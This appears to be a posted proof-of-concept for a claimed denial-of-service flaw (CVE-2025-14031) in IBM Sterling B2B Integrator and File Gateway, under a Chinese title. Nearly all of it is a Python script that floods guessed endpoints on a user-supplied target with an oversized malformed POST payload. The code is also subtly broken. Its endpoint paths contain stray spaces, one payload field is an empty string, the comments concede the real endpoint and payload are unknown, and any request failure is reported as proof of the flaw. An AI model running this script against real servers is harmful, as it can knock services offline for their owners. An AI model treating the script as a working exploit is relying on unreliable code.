CVE-2025-14031: IBM Sterling B2B Integrator 拒绝服务漏洞

# CVE-2025-14031 PoC - Denial of Service # Target: IBM Sterling B2B Integrator / Sterling File Gateway # Vulnerability: Unauthenticated specially crafted request causes crash import requests import sys def exploit_cve_2025_14031(target_url): """ Proof of Concept for CVE-2025-14031 This PoC demonstrates sending a specially crafted request that may cause the application to crash due to improper input handling. """ # Target endpoint (adjust based on actual vulnerable endpoint) endpoints = [ "/ SterlingB2B /", "/ SterlingFileGateway /", "/ sfi /", "/ b2b /" ] # Crafted payload designed to trigger the vulnerability # The exact payload structure may vary based on the vulnerable component headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-14031-PoC)", "X-Requested-With": "XMLHttpRequest" } # Malformed request payload payload = { "data": "A" * 10000 + "\x00" + "\xff" * 500, "action": "submit", "session": "" * 1000 } print(f"[*] Targeting: {target_url}") print(f"[*] Sending crafted request for CVE-2025-14031...") try: for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {url}") response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print(f"[+] Vulnerability may be present - service did not respond properly") print("[*] PoC execution completed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14031-poc.py <target_url>") print("Example: python cve-2025-14031-poc.py http://target:8443") sys.exit(1) target = sys.argv[1] exploit_cve_2025_14031(target)